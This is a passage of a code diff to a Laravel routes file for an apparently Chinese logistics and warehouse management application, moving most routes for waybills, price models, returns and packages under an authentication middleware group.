-    /** 教程 */
-    Route::group(['prefix'=>'tutorial'],function(){
-        Route::post('showContent/{id}', 'TutorialController@showContent');
-    });
-    /** 临时工 */
-    Route::group(['prefix'=>'userLabor'],function(){
-        Route::post('getWorkRecord', 'UserLaborController@getWorkRecord');
-        Route::post('getClockRecord', 'UserLaborController@getClockRecord');
-        Route::post('relieve', 'UserLaborController@relieve');
-        Route::post('conversion', 'UserLaborController@conversion');
-    });
-    /** 纸箱 */
-    Route::group(['prefix'=>'paperBox'],function(){
-        /** 首页 */
-        Route::group(['prefix'=>'index'],function(){
-            Route::get('model', 'PaperBoxController@indexModel');
-            Route::get('owner', 'PaperBoxController@indexOwner');
-        });
-        /** excel */
-        Route::group(['prefix'=>'excel'],function(){
-            Route::post('import','PaperBoxController@import');
-            Route::get('goImport',function (){return view('maintenance.paperBox.import');});
-        });
-    });
-    /** 计费模型 */
-    Route::group(['prefix'=>'priceModel'],function() {
-        Route::group(['prefix'=>'waybillPriceModel'],function(){
+/*
+ * 需要认证的路由
+ * */
+Route::group(['middleware'=>'auth'],function ($route){
+    /** @var Route $route */
+    $route->get('/home', 'HomeController@index')->name('home');
+    /** 密码 */
+    $route->group(['prefix'=>'password'],function(){
+        Route::get('change', 'Auth\PasswordController@change');
+        Route::post('update', 'Auth\PasswordController@update');
+    });
+    /** 全局 */
+    $route->get('denied',function (){return view('exception.authority');});
+    $route->post('getMenu','MenuController@get');
+    /** 基础设置 */
+    $route->group(['prefix'=>'maintenance'],function(){
+        /** 菜单 */
+        Route::get('menu', 'MenuController@index');
+        Route::group(['prefix'=>"menu"],function (){
+            Route::post('update', 'MenuController@update');
+            Route::post('save', 'MenuController@save');
+            Route::post('sort', 'MenuController@sort');
+            Route::post('delete', 'MenuController@delete');
+        });
+        /** 权限 */
+        Route::get('authority', 'AuthorityController@index');
+        Route::group(['prefix'=>"authority"],function (){
+            Route::post('store', 'AuthorityController@store');
+            Route::post('update', 'AuthorityController@update');
+            Route::post('destroy', 'AuthorityController@destroy');
+        });
+        /** 权限 */
+        Route::get('role', 'AuthorityController@index');
+        Route::group(['prefix'=>"role"],function (){
+            Route::post('save', 'RoleController@save');
+            Route::post('loadRelevance', 'RoleController@loadRelevance');
+            Route::post('destroy', 'RoleController@destroy');
+            Route::post('saveAuthority', 'RoleController@saveAuthority');
+            Route::post('saveOwner', 'RoleController@saveOwner');
+            Route::post('saveUserWorkGroup', 'RoleController@saveUserWorkGroup');
+        });
+        /** 商品 */
+        Route::group(['prefix'=>'commodity'],function(){
+            /** 导出 */
+            Route::group(['prefix'=>'import'],function(){
+                Route::post('excel', 'CommodityController@importExcel');
+            });
+            Route::get('import', 'CommodityController@import');
+            Route::post('syncWMS','CommodityController@syncWMS');
+            Route::post('isExist','CommodityController@isExist');
+        });
+        /** 货主 */
+        Route::group(['prefix'=>'owner'],function (){
+            Route::post("get","OwnerController@get");
+            Route::post("apiStore","OwnerController@apiStore");
+            Route::get('recycle','OwnerController@recycle');
+            Route::post('restoreSelected', 'OwnerController@restoreSelected');
+        });
+        /** 教程 */
+        Route::group(['prefix'=>'tutorial'],function(){
+            Route::post('showContent/{id}', 'TutorialController@showContent');
+        });
+        /** 临时工 */
+        Route::group(['prefix'=>'userLabor'],function(){
+            Route::post('getWorkRecord', 'UserLaborController@getWorkRecord');
+            Route::post('getClockRecord', 'UserLaborController@getClockRecord');
+            Route::post('relieve', 'UserLaborController@relieve');
+            Route::post('conversion', 'UserLaborController@conversion');
+        });
+        /** 纸箱 */
+        Route::group(['prefix'=>'paperBox'],function(){
+            /** 首页 */
+            Route::group(['prefix'=>'index'],function(){
+                Route::get('model', 'PaperBoxController@indexModel');
+                Route::get('owner', 'PaperBoxController@indexOwner');
+            });
             /** excel */
             Route::group(['prefix'=>'excel'],function(){
-                Route::get('goImport',function (){return view('maintenance.priceModel.waybillPriceModel.import');});
+                Route::post('import','PaperBoxController@import');
+                Route::get('goImport',function (){return view('maintenance.paperBox.import');});
             });
-            Route::get('cities/{province_id}','WaybillPriceModelController@getCities');
         });
-        Route::resource('waybillPriceModel','WaybillPriceModelController');
-
-        Route::group(['prefix'=>'storage'],function(){
-            Route::get('create','PriceModelController@storageCreate');
-            Route::post('store','PriceModelController@storageStore');
-            Route::get('{id}/edit','PriceModelController@storageEdit');
-            Route::delete("{id}","PriceModelController@storageDestroy");
-            Route::post('update','PriceModelController@storageUpdate');
-        });
-        Route::get('storage','PriceModelController@storageIndex');
-
-        Route::group(['prefix'=>'operation'],function(){
-            Route::get('create','PriceModelController@operationCreate');
-            Route::post('getItems','PriceModelController@getItems');
-            Route::post('updateItem','PriceModelController@updateItem');
-            Route::post('createItem','PriceModelController@createItem');
-            Route::post('getFeatures','PriceModelController@getFeatures');
-            Route::post('addFeature','PriceModelController@addFeature');
-            Route::post('getFeature','PriceModelController@getFeature');
-            Route::delete('{id}','PriceModelController@operationDestroy');
-            Route::get('{id}/edit','PriceModelController@operationEdit');
-            Route::post('{id}/edit','PriceModelController@operationUpdate');
-        });
-        Route::get('operation','PriceModelController@operationIndex');
-        Route::post('operation','PriceModelController@operationStore');
-
-        Route::group(['prefix'=>'express'],function(){
-            Route::get('create','PriceModelController@expressCreate');
-            Route::post('getDetail','PriceModelController@expressGetDetail');
-            Route::post('import','PriceModelController@expressImport');
-            Route::post('updateDetail','PriceModelController@expressUpdateDetail');
-            Route::post('destroyDetail','PriceModelController@expressDestroyDetail');
-            Route::delete('{id}','PriceModelController@expressDestroy');
-            Route::get('{id}/edit','PriceModelController@expressEdit');
-            Route::post('{id}/edit','PriceModelController@expressUpdate');
-            Route::get('export/{id}','PriceModelController@expressExport');
-        });
-        Route::get('express','PriceModelController@expressIndex');
-        Route::post('express','PriceModelController@expressStore');
-
-        Route::group(['prefix'=>'logistic'],function(){
-            Route::get('create','PriceModelController@logisticCreate');
-            Route::delete('{id}','PriceModelController@logisticDestroy');
-            Route::get('{id}/edit','PriceModelController@logisticEdit');
-            Route::post('{id}/edit','PriceModelController@logisticUpdate');
-            Route::post('getDetail','PriceModelController@logisticGetDetail');
-            Route::post('import','PriceModelController@logisticImport');
-            Route::post('updateDetail','PriceModelController@logisticUpdateDetail');
-            Route::post('destroyDetail','PriceModelController@logisticDestroyDetail');
-            Route::get('export/{id}','PriceModelController@logisticExport');
-        });
-        Route::get('logistic','PriceModelController@logisticIndex');
-        Route::post('logistic','PriceModelController@logisticStore');
-
-        Route::group(['prefix'=>'directLogistic'],function(){
-            Route::get('create','PriceModelController@directLogisticCreate');
-            Route::delete('{id}','PriceModelController@directLogisticDestroy');
-            Route::get('{id}/edit','PriceModelController@directLogisticEdit');
-            Route::post('{id}/edit','PriceModelController@directLogisticUpdate');
-            Route::post('getDetail','PriceModelController@directLogisticGetDetail');
-            Route::post('import','PriceModelController@directLogisticImport');
-            Route::post('updateDetail','PriceModelController@directLogisticUpdateDetail');
-            Route::post('destroyDetail','PriceModelController@directLogisticDestroyDetail');
-        });
-        Route::get('directLogistic','PriceModelController@directLogisticIndex');
-        Route::post('directLogistic','PriceModelController@directLogisticStore');
-
-        //api 录入计费模型
-        Route::post('apiStoreStorage','PriceModelController@apiStoreStorage');
-        Route::post('apiStoreOperation','PriceModelController@apiStoreOperation');
-        Route::post('apiStoreExpress','PriceModelController@apiStoreExpress');
-        Route::post('apiStoreLogistic','PriceModelController@apiStoreLogistic');
-        Route::post('apiStoreDirectLogistic','PriceModelController@apiStoreDirectLogistic');
-        Route::post('apiStoreSystem','PriceModelController@apiStoreSystem');
-        //api 获取计费模型
-        Route::post('apiGetStorage','PriceModelController@apiGetStorage');
-        Route::post('apiGetOperation','PriceModelController@apiGetOperation');
-        Route::post('apiGetExpress','PriceModelController@apiGetExpress');
-        Route::post('apiGetLogistic','PriceModelController@apiGetLogistic');
-        Route::post('apiGetDirectLogistic','PriceModelController@apiGetDirectLogistic');
-        //api 删除计费模型
-        Route::post('apiDelStorage','PriceModelController@apiDelStorage');
-        Route::post('apiDelOperation','PriceModelController@apiDelOperation');
-        Route::post('apiDelOperationItem','PriceModelController@apiDelOperationItem');
-        Route::post('apiDelExpress','PriceModelController@apiDelExpress');
-        Route::post('apiDelExpressItem','PriceModelController@apiDelExpressItem');
-        Route::post('apiDelLogistic','PriceModelController@apiDelLogistic');
-        Route::post('apiDelLogisticItem','PriceModelController@apiDelLogisticItem');
-        Route::post('apiDelDirectLogistic','PriceModelController@apiDelDirectLogistic');
-        Route::post('apiDelDirectLogisticItem','PriceModelController@apiDelDirectLogisticItem');
-        Route::post('apiDelSystem','PriceModelController@apiDelSystem');
-        //审核或恢复计费模型
-        Route::post('auditOrRecoverModel','PriceModelController@auditOrRecoverModel');
-        //审核对比
-        Route::post('getPriceModelAudit','PriceModelController@getPriceModelAudit');
-    });
-    Route::group(['prefix'=>'unit'],function(){
-        Route::post('getUnits','UnitController@getUnits');
-        Route::post('save','UnitController@save');
-        Route::post('sort','UnitController@sort');
-    });
-    Route::group(['prefix'=>'province'],function(){
-        Route::post('get','ProvincesController@get');
-    });
-    Route::group(['prefix'=>'city'],function(){
-        Route::post('get','CitiesController@get');
-    });
-    Route::group(['prefix'=>'carType'],function (){
-        Route::post('get','CarTypesController@get');
-        Route::post('batchInsert','CarTypesController@batchInsert');
-    });
-    Route::group(['prefix'=>'taxRate'],function (){
-        Route::post('get','TaxRateController@get');
-        Route::post('save','TaxRateController@save');
-        Route::post('destroy','TaxRateController@destroy');
-    });
-    Route::group(['prefix'=>"log"],function (){
-        Route::get("exception",'LogController@exception');
-    });
-    Route::group(['prefix'=>"logistic"],function (){
-        Route::post("get",'LogisticController@get');
-    });
-    Route::group(['prefix'=>"region"],function (){
-        Route::post("get",'RegionController@get');
-        Route::post("store",'RegionController@store');
-        Route::post("getProvinces",'RegionController@getProvinces');
-    });
-    /** 耗材 */
-    Route::get('material','MaterialController@index');
-    /** 用户 */
-    Route::group(['prefix'=>"user"],function (){
-        Route::post("resetPassword",'UserController@resetPassword');
-    });
-    /** 项目耗材 */
-    Route::group(['prefix'=>"ownerMaterial"],function (){
-        Route::get("/",'OwnerMaterialController@index');
-        Route::get('downFile','OwnerMaterialController@downFile');
-    });
-    /** 供应商 */
-    Route::get('supplier','SupplierController@index');
-    /** 系统配置 */
-    Route::get('configuration','ConfigurationController@index');
-    /** 服务商 */
-    Route::resource('facilitator','FacilitatorController');
-    /** 快递打印 */
-    Route::group(['prefix'=>'expressPrinting'],function(){
-        Route::get('/part','PrintPartController@index');
-        Route::get('/part/create','PrintPartController@create');
-        Route::group(['prefix'=>'template'],function(){
-            Route::get('/index','PrintTemplateController@index');
-            Route::get('/create','PrintTemplateController@create');
+        /** 计费模型 */
+        Route::group(['prefix'=>'priceModel'],function() {
+            Route::group(['prefix'=>'waybillPriceModel'],function(){
+                /** excel */
+                Route::group(['prefix'=>'excel'],function(){
+                    Route::get('goImport',function (){return view('maintenance.priceModel.waybillPriceModel.import');});
+                });
+                Route::get('cities/{province_id}','WaybillPriceModelController@getCities');
+            });
+            Route::resource('waybillPriceModel','WaybillPriceModelController');
+            Route::group(['prefix'=>'storage'],function(){
+                Route::get('create','PriceModelController@storageCreate');
+                Route::post('store','PriceModelController@storageStore');
+                Route::get('{id}/edit','PriceModelController@storageEdit');
+                Route::delete("{id}","PriceModelController@storageDestroy");
+                Route::post('update','PriceModelController@storageUpdate');
+            });
+            Route::get('storage','PriceModelController@storageIndex');
+            Route::group(['prefix'=>'operation'],function(){
+                Route::get('create','PriceModelController@operationCreate');
+                Route::post('getItems','PriceModelController@getItems');
+                Route::post('updateItem','PriceModelController@updateItem');
+                Route::post('createItem','PriceModelController@createItem');
+                Route::post('getFeatures','PriceModelController@getFeatures');
+                Route::post('addFeature','PriceModelController@addFeature');
+                Route::post('getFeature','PriceModelController@getFeature');
+                Route::delete('{id}','PriceModelController@operationDestroy');
+                Route::get('{id}/edit','PriceModelController@operationEdit');
+                Route::post('{id}/edit','PriceModelController@operationUpdate');
+            });
+            Route::get('operation','PriceModelController@operationIndex');
+            Route::post('operation','PriceModelController@operationStore');
+            Route::group(['prefix'=>'express'],function(){
+                Route::get('create','PriceModelController@expressCreate');
+                Route::post('getDetail','PriceModelController@expressGetDetail');
+                Route::post('import','PriceModelController@expressImport');
+                Route::post('updateDetail','PriceModelController@expressUpdateDetail');
+                Route::post('destroyDetail','PriceModelController@expressDestroyDetail');
+                Route::delete('{id}','PriceModelController@expressDestroy');
+                Route::get('{id}/edit','PriceModelController@expressEdit');
+                Route::post('{id}/edit','PriceModelController@expressUpdate');
+                Route::get('export/{id}','PriceModelController@expressExport');
+            });
+            Route::get('express','PriceModelController@expressIndex');
+            Route::post('express','PriceModelController@expressStore');
+            Route::group(['prefix'=>'logistic'],function(){
+                Route::get('create','PriceModelController@logisticCreate');
+                Route::delete('{id}','PriceModelController@logisticDestroy');
+                Route::get('{id}/edit','PriceModelController@logisticEdit');
+                Route::post('{id}/edit','PriceModelController@logisticUpdate');
+                Route::post('getDetail','PriceModelController@logisticGetDetail');
+                Route::post('import','PriceModelController@logisticImport');
+                Route::post('updateDetail','PriceModelController@logisticUpdateDetail');
+                Route::post('destroyDetail','PriceModelController@logisticDestroyDetail');
+                Route::get('export/{id}','PriceModelController@logisticExport');
+            });
+            Route::get('logistic','PriceModelController@logisticIndex');
+            Route::post('logistic','PriceModelController@logisticStore');
+
+            Route::group(['prefix'=>'directLogistic'],function(){
+                Route::get('create','PriceModelController@directLogisticCreate');
+                Route::delete('{id}','PriceModelController@directLogisticDestroy');
+                Route::get('{id}/edit','PriceModelController@directLogisticEdit');
+                Route::post('{id}/edit','PriceModelController@directLogisticUpdate');
+                Route::post('getDetail','PriceModelController@directLogisticGetDetail');
+                Route::post('import','PriceModelController@directLogisticImport');
+                Route::post('updateDetail','PriceModelController@directLogisticUpdateDetail');
+                Route::post('destroyDetail','PriceModelController@directLogisticDestroyDetail');
+            });
+            Route::get('directLogistic','PriceModelController@directLogisticIndex');
+            Route::post('directLogistic','PriceModelController@directLogisticStore');
+            //api 录入计费模型
+            Route::post('apiStoreStorage','PriceModelController@apiStoreStorage');
+            Route::post('apiStoreOperation','PriceModelController@apiStoreOperation');
+            Route::post('apiStoreExpress','PriceModelController@apiStoreExpress');
+            Route::post('apiStoreLogistic','PriceModelController@apiStoreLogistic');
+            Route::post('apiStoreDirectLogistic','PriceModelController@apiStoreDirectLogistic');
+            Route::post('apiStoreSystem','PriceModelController@apiStoreSystem');
+            //api 获取计费模型
+            Route::post('apiGetStorage','PriceModelController@apiGetStorage');
+            Route::post('apiGetOperation','PriceModelController@apiGetOperation');
+            Route::post('apiGetExpress','PriceModelController@apiGetExpress');
+            Route::post('apiGetLogistic','PriceModelController@apiGetLogistic');
+            Route::post('apiGetDirectLogistic','PriceModelController@apiGetDirectLogistic');
+            //api 删除计费模型
+            Route::post('apiDelStorage','PriceModelController@apiDelStorage');
+            Route::post('apiDelOperation','PriceModelController@apiDelOperation');
+            Route::post('apiDelOperationItem','PriceModelController@apiDelOperationItem');
+            Route::post('apiDelExpress','PriceModelController@apiDelExpress');
+            Route::post('apiDelExpressItem','PriceModelController@apiDelExpressItem');
+            Route::post('apiDelLogistic','PriceModelController@apiDelLogistic');
+            Route::post('apiDelLogisticItem','PriceModelController@apiDelLogisticItem');
+            Route::post('apiDelDirectLogistic','PriceModelController@apiDelDirectLogistic');
+            Route::post('apiDelDirectLogisticItem','PriceModelController@apiDelDirectLogisticItem');
+            Route::post('apiDelSystem','PriceModelController@apiDelSystem');
+            //审核或恢复计费模型
+            Route::post('auditOrRecoverModel','PriceModelController@auditOrRecoverModel');
+            //审核对比
+            Route::post('getPriceModelAudit','PriceModelController@getPriceModelAudit');
+        });
+        Route::group(['prefix'=>'unit'],function(){
+            Route::post('getUnits','UnitController@getUnits');
+            Route::post('save','UnitController@save');
+            Route::post('sort','UnitController@sort');
+        });
+        Route::group(['prefix'=>'province'],function(){
+            Route::post('get','ProvincesController@get');
+        });
+        Route::group(['prefix'=>'city'],function(){
+            Route::post('get','CitiesController@get');
+        });
+        Route::group(['prefix'=>'carType'],function (){
+            Route::post('get','CarTypesController@get');
+            Route::post('batchInsert','CarTypesController@batchInsert');
+        });
+        Route::group(['prefix'=>'taxRate'],function (){
+            Route::post('get','TaxRateController@get');
+            Route::post('save','TaxRateController@save');
+            Route::post('destroy','TaxRateController@destroy');
+        });
+        Route::group(['prefix'=>"log"],function (){
+            Route::get("exception",'LogController@exception');
+        });
+        Route::group(['prefix'=>"logistic"],function (){
+            Route::post("get",'LogisticController@get');
+        });
+        Route::group(['prefix'=>"region"],function (){
+            Route::post("get",'RegionController@get');
+            Route::post("store",'RegionController@store');
+            Route::post("getProvinces",'RegionController@getProvinces');
+        });
+        /** 耗材 */
+        Route::get('material','MaterialController@index');
+        /** 用户 */
+        Route::group(['prefix'=>"user"],function (){
+            Route::post("resetPassword",'UserController@resetPassword');
+        });
+        /** 项目耗材 */
+        Route::group(['prefix'=>"ownerMaterial"],function (){
+            Route::get("/",'OwnerMaterialController@index');
+            Route::get('downFile','OwnerMaterialController@downFile');
+        });
+        /** 供应商 */
+        Route::get('supplier','SupplierController@index');
+        /** 系统配置 */
+        Route::get('configuration','ConfigurationController@index');
+        /** 服务商 */
+        Route::resource('facilitator','FacilitatorController');
+        /** 快递打印 */
+        Route::group(['prefix'=>'expressPrinting'],function(){
+            Route::get('/part','PrintPartController@index');
+            Route::get('/part/create','PrintPartController@create');
+            Route::group(['prefix'=>'template'],function(){
+                Route::get('/index','PrintTemplateController@index');
+                Route::get('/create','PrintTemplateController@create');
+            });
+        });
+        Route::get('syncRedisLogs','LogController@syncRedisLogs');
+        Route::get('region', 'RegionController@index');
+        Route::get('taxRate', 'TaxRateController@index');
+        Route::resource('log', 'LogController');
+        Route::resource('user', 'UserController');
+        Route::resource('role', 'RoleController');
+        Route::resource('owner', 'OwnerController');
+        Route::resource('logistic', 'LogisticController');
+        Route::resource('qualityLabel', 'QualityLabelController');
+        Route::resource('carrier', 'CarriersController');
+        Route::resource('carType','CarTypesController');
+        Route::resource('unit','UnitController');
+        Route::resource('province','ProvincesController');
+        Route::resource('city','CitiesController');
+        Route::resource('commodity', 'CommodityController');
+        Route::resource('measuringMachine', 'MeasuringMachineController');
+        Route::resource('userWorkgroup', 'UserWorkgroupController');
+        Route::resource('laborCompany', 'LaborCompanyController');
+        Route::resource('warehouse', 'WarehouseController');
+        Route::resource('tutorial', 'TutorialController');
+        Route::resource('userLabor','UserLaborController');
+        Route::resource('paperBox', 'PaperBoxController');
+        Route::resource('userOwnerGroup', 'UserOwnerGroupController');
+        Route::resource('processMethod', 'ProcessMethodController');
+        Route::resource('feature', 'FeatureController');
+        Route::resource('mail', 'SendEmailsController');
+        Route::post('mail/addRole', 'SendEmailsController@addRole')->name('mail.addRole');
+        Route::post('mail/deleteRole', 'SendEmailsController@deleteRole')->name('mail.deleteRole');
+        Route::post('mail/updateTemplate', 'SendEmailsController@updateTemplate')->name('mail.updateTemplate');
+        Route::post('mail/updateRemark', 'SendEmailsController@updateRemark')->name('mail.updateRemark');
+        Route::post('mail/active', 'SendEmailsController@active')->name('mail.active');
+    });
+    $route->get('maintenance', function () {return view('maintenance.index');});
+    $route->group(['prefix'=>'transport'],function(){
+        /** 运单 */
+        Route::group(['prefix'=>'waybill'],function(){
+            /** 置顶 */
+            Route::group(['prefix'=>'ontop'],function(){
+                Route::post('top','WaybillController@waybillOnTop');
+                Route::post('cancel','WaybillController@cancelOnTop');
+            });
+            /** 判断 */
+            Route::group(['prefix'=>'is'],function(){
+                Route::post('waybillPriceModel','WaybillController@isWaybillPriceModel');
+            });
+            Route::post('deleteImg','WaybillController@deleteImg');
+            Route::post('seekOrder','WaybillController@seekOrder');
+            Route::post('upload','WaybillController@upload');
+            Route::get('relating',function (){return view('transport.waybill.menuWaybill');});
+            Route::get('recycle', 'WaybillController@recycle');
+            Route::post('refreshWaveHouseWeight','WaybillController@refreshWaveHouseWeight');
+            Route::get('index','WaybillController@index');
+            Route::get('delivering','WaybillController@delivering');
+            Route::any('deliveringExport','WaybillController@deliveringExport');
+            Route::post('storeCarrierBill','WaybillController@storeCarrierBill');
+            Route::post('addCounty','WaybillController@addCounty');
+            Route::any('waybillAudit','WaybillController@waybillAudit');
+            Route::any('waybillEdit/{id}','WaybillController@waybillEdit');
+            Route::any('waybillRetreatAudit','WaybillController@waybillRetreatAudit');
+            Route::any('waybillEndAudit','WaybillController@waybillEndAudit');
+            Route::any('export','WaybillController@export');
+            Route::any('waybillUpdate/{id}','WaybillController@waybillUpdate');
+            Route::post('batchUploadImages','WaybillController@batchUploadImages');
+            Route::post('dailyBilling','WaybillController@dailyBilling');
+            Route::post('countPickUpFee','WaybillController@countPickUpFee');
+            Route::resource('waybillFinancialSnapshot','WaybillFinancialSnapshotsController');
+            Route::resource('waybillFinancialExcepted','WaybillFinancialExceptedController');
+        });
+        Route::resource('waybill','WaybillController');
+    });
+    /** 运输财务 */
+    $route->group(['prefix'=>'waybillFinancialSnapshot'],function(){
+        Route::any('export','WaybillFinancialSnapshotsController@export');
+    });
+    /** 运输计费模型 */
+    $route->group(['prefix'=>'waybillPriceModel'],function(){
+        /** excel */
+        Route::group(['prefix'=>'excel'],function(){
+            Route::post('import','WaybillPriceModelController@import');
         });
     });
-
-    Route::get('syncRedisLogs','LogController@syncRedisLogs');
-    Route::get('region', 'RegionController@index');
-    Route::get('taxRate', 'TaxRateController@index');
-    Route::resource('log', 'LogController');
-    Route::resource('user', 'UserController');
-    Route::resource('role', 'RoleController');
-    Route::resource('owner', 'OwnerController');
-    Route::resource('logistic', 'LogisticController');
-    Route::resource('qualityLabel', 'QualityLabelController');
-    Route::resource('carrier', 'CarriersController');
-    Route::resource('carType','CarTypesController');
-    Route::resource('unit','UnitController');
-    Route::resource('province','ProvincesController');
-    Route::resource('city','CitiesController');
-    Route::resource('commodity', 'CommodityController');
-    Route::resource('measuringMachine', 'MeasuringMachineController');
-    Route::resource('userWorkgroup', 'UserWorkgroupController');
-    Route::resource('laborCompany', 'LaborCompanyController');
-    Route::resource('warehouse', 'WarehouseController');
-    Route::resource('tutorial', 'TutorialController');
-    Route::resource('userLabor','UserLaborController');
-    Route::resource('paperBox', 'PaperBoxController');
-    Route::resource('userOwnerGroup', 'UserOwnerGroupController');
-    Route::resource('processMethod', 'ProcessMethodController');
-    Route::resource('feature', 'FeatureController');
-    Route::resource('mail', 'SendEmailsController');
-    Route::post('mail/addRole', 'SendEmailsController@addRole')->name('mail.addRole');
-    Route::post('mail/deleteRole', 'SendEmailsController@deleteRole')->name('mail.deleteRole');
-    Route::post('mail/updateTemplate', 'SendEmailsController@updateTemplate')->name('mail.updateTemplate');
-    Route::post('mail/updateRemark', 'SendEmailsController@updateRemark')->name('mail.updateRemark');
-    Route::post('mail/active', 'SendEmailsController@active')->name('mail.active');
-
-
-
-});
-Route::get('maintenance', function () {return view('maintenance.index');});
-
-Route::group(['prefix'=>'transport'],function(){
-    /** 运单 */
-    Route::group(['prefix'=>'waybill'],function(){
-        /** 置顶 */
-        Route::group(['prefix'=>'ontop'],function(){
-            Route::post('top','WaybillController@waybillOnTop');
-            Route::post('cancel','WaybillController@cancelOnTop');
-        });
-        /** 判断 */
-        Route::group(['prefix'=>'is'],function(){
-            Route::post('waybillPriceModel','WaybillController@isWaybillPriceModel');
-        });
-        Route::post('deleteImg','WaybillController@deleteImg');
-        Route::post('seekOrder','WaybillController@seekOrder');
-        Route::post('upload','WaybillController@upload');
-        Route::get('relating',function (){return view('transport.waybill.menuWaybill');});
-        Route::get('recycle', 'WaybillController@recycle');
-        Route::post('refreshWaveHouseWeight','WaybillController@refreshWaveHouseWeight');
-        Route::get('index','WaybillController@index');
-        Route::get('delivering','WaybillController@delivering');
-        Route::any('deliveringExport','WaybillController@deliveringExport');
-        Route::post('storeCarrierBill','WaybillController@storeCarrierBill');
-        Route::post('addCounty','WaybillController@addCounty');
-        Route::any('waybillAudit','WaybillController@waybillAudit');
-        Route::any('waybillEdit/{id}','WaybillController@waybillEdit');
-        Route::any('waybillRetreatAudit','WaybillController@waybillRetreatAudit');
-        Route::any('waybillEndAudit','WaybillController@waybillEndAudit');
-        Route::any('export','WaybillController@export');
-        Route::any('waybillUpdate/{id}','WaybillController@waybillUpdate');
-        Route::post('batchUploadImages','WaybillController@batchUploadImages');
-        Route::post('dailyBilling','WaybillController@dailyBilling');
-        Route::post('countPickUpFee','WaybillController@countPickUpFee');
-        Route::resource('waybillFinancialSnapshot','WaybillFinancialSnapshotsController');
-        Route::resource('waybillFinancialExcepted','WaybillFinancialExceptedController');
-    });
-    Route::resource('waybill','WaybillController');
-
-});
-
-/** 运输财务 */
-Route::group(['prefix'=>'waybillFinancialSnapshot'],function(){
-    Route::any('export','WaybillFinancialSnapshotsController@export');
-});
-
-/** 运输计费模型 */
-Route::group(['prefix'=>'waybillPriceModel'],function(){
-    /** excel */
-    Route::group(['prefix'=>'excel'],function(){
-        Route::post('import','WaybillPriceModelController@import');
-    });
-});
-
-/** 退货明细 */
-Route::group(['prefix'=>'rejectedBill'],function(){
-    Route::post('{rejectedBill}/edit', 'RejectedBillController@edit');
-});
-Route::resource('rejectedBill', 'RejectedBillController');
-
-/** 退货 */
-Route::group(['prefix'=>'rejected'],function(){
-    /** 导出 */
-    Route::group(['prefix'=>'import'],function(){
-        Route::post('excel', 'RejectedController@importExcel');
-    });
-    /** 主页 */
-    Route::group(['prefix'=>'index'],function(){
-        Route::any('general','RejectedController@index');
-        Route::any('analyze','RejectedController@indexAnalyze');
-        Route::get('import', 'RejectedController@import');
-        Route::post('cancelCheck', 'RejectedController@cancelCheck');
-    });
-    /** 分析 */
-    Route::group(['prefix'=>'analyze'],function(){
-        Route::post('exportExcelOnParams', 'RejectedController@exportExcelOnParams');
-        Route::post('exportAllExcelOnParams', 'RejectedController@exportAllExcelOnParams');
-    });
-
-    Route::get('relating', function () {return view('rejected.relating');});
-    Route::get('recycle', 'RejectedController@recycle');
-    Route::post('ajaxCheck', 'RejectedController@ajaxCheck');
-    Route::post('ajaxCheckAll', 'RejectedController@ajaxCheckAll');
-    Route::post('ajaxFinishAll', 'RejectedController@ajaxFinishAll');
-    Route::any('export', 'RejectedController@export');
-    Route::any('exportAnalyze', 'RejectedController@exportAnalyze');
-    Route::post('ajaxGetRejected', 'RejectedController@ajaxGetRejected');
-    Route::post('changeRejectedBillRemark', 'RejectedController@changeRejectedBillRemark');
-    Route::get('importRejectedNumber','RejectedBillController@importRejectedNumber');
-});
-Route::resource('rejected', 'RejectedController');
-
-
-/** 包裹 */
-Route::group(['prefix'=>'package'],function(){
-    /** 统计 */
-    Route::group(['prefix'=>'statistics'],function(){
-        Route::any('export','WeighController@statisticsExport');
-    });
-    /** 异常 */
-    Route::group(['prefix'=>'weightExcepted'],function(){
-        Route::get('indexCreate','WeighExceptedController@indexCreate');
-        Route::get('indexIssued','WeighExceptedController@indexIssued');
-        Route::any('export/{type}','WeighExceptedController@export');
-    });
-
-    Route::any('export','WeighController@export');
-    Route::get('statistics','WeighController@statistics');
-    Route::get('relating', function () {return view('package.measureMonitor.menu');});
-
-    Route::resource('measureMonitor','MeasureMonitorController');
-
-    Route::group(['prefix'=>'measureMonitor'],function(){
-        Route::post('data','MeasureMonitorController@data');
+    /** 退货明细 */
+    $route->group(['prefix'=>'rejectedBill'],function(){
+        Route::post('{rejectedBill}/edit', 'RejectedBillController@edit');
     });
-    Route::group(['prefix' => 'weigh'], function () {
-        Route::get('statistics','WeighController@statistics');
-        /** 设备 */
-        Route::group(['prefix'=>'measureMonitor'],function(){
-            Route::post('data','MeasureMonitorController@data');
+    $route->resource('rejectedBill', 'RejectedBillController');
+    /** 退货 */
+    $route->group(['prefix'=>'rejected'],function(){
+        /** 导出 */
+        Route::group(['prefix'=>'import'],function(){
+            Route::post('excel', 'RejectedController@importExcel');
         });
+        /** 主页 */
+        Route::group(['prefix'=>'index'],function(){
+            Route::any('general','RejectedController@index');
+            Route::any('analyze','RejectedController@indexAnalyze');
+            Route::get('import', 'RejectedController@import');
+            Route::post('cancelCheck', 'RejectedController@cancelCheck');
+        });
+        /** 分析 */
+        Route::group(['prefix'=>'analyze'],function(){
+            Route::post('exportExcelOnParams', 'RejectedController@exportExcelOnParams');
+            Route::post('exportAllExcelOnParams', 'RejectedController@exportAllExcelOnParams');
+        });
+
+        Route::get('relating', function () {return view('rejected.relating');});
+        Route::get('recycle', 'RejectedController@recycle');
+        Route::post('ajaxCheck', 'RejectedController@ajaxCheck');
+        Route::post('ajaxCheckAll', 'RejectedController@ajaxCheckAll');
+        Route::post('ajaxFinishAll', 'RejectedController@ajaxFinishAll');
+        Route::any('export', 'RejectedController@export');
+        Route::any('exportAnalyze', 'RejectedController@exportAnalyze');
+        Route::post('ajaxGetRejected', 'RejectedController@ajaxGetRejected');
+        Route::post('changeRejectedBillRemark', 'RejectedController@changeRejectedBillRemark');
+        Route::get('importRejectedNumber','RejectedBillController@importRejectedNumber');
+    });
+    $route->resource('rejected', 'RejectedController');
+    /** 包裹 */
+    $route->group(['prefix'=>'package'],function(){
         /** 统计 */
         Route::group(['prefix'=>'statistics'],function(){
             Route::any('export','WeighController@statisticsExport');
         });
-        Route::resource('measureMonitor','MeasureMonitorController');
-    });
-    Route::get('weigh/index','WeighController@index');
-    Route::resource('weigh','WeighController');
-    Route::put('logistic/batchUpdate','PackageLogisticController@batchUpdate');
-    Route::any('logistic/export','PackageLogisticController@export');
-    Route::resource('logistic','PackageLogisticController');
-});
-Route::resource('package','WeighController');
-
-/** 入库 */
-Route::group(['prefix'=>'store'],function(){
-    Route::group(['prefix'=>'inStorage'],function() {
-        Route::get('index','StoreController@storage');
